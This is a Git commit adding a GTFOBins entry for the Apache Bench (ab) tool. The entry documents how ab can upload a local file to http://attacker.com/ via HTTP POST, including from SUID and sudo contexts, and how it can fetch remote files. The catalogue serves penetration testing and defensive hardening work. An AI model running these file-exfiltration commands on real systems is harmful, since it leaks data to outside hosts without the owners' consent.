Co-authored-by: Nikola Pepelishev <nikola.pepelishev@azdio.com>
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
master
nikip72 2022-01-16 06:37:43 +02:00 committed by GitHub
parent 37aefcf82f
commit e357d8f73f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 26 additions and 0 deletions

26
_gtfobins/ab.md Normal file
View File

@ -0,0 +1,26 @@
---
functions:
file-upload:
- description: Upload local file via HTTP POST request.
code: |
URL=http://attacker.com/
LFILE=file_to_send
ab -p $LFILE $URL
file-download:
- description: Fetch a remote file via HTTP GET request. The response is returned as part of the verbose output of the program with some limitations on the length.
code: |
URL=http://attacker.com/file_to_download
ab -v2 $URL
suid:
- description: Upload local file via HTTP POST request.
code: |
URL=http://attacker.com/
LFILE=file_to_send
./ab -p $LFILE $URL
sudo:
- description: Upload local file via HTTP POST request.
code: |
URL=http://attacker.com/
LFILE=file_to_send
sudo ab -p $LFILE $URL
---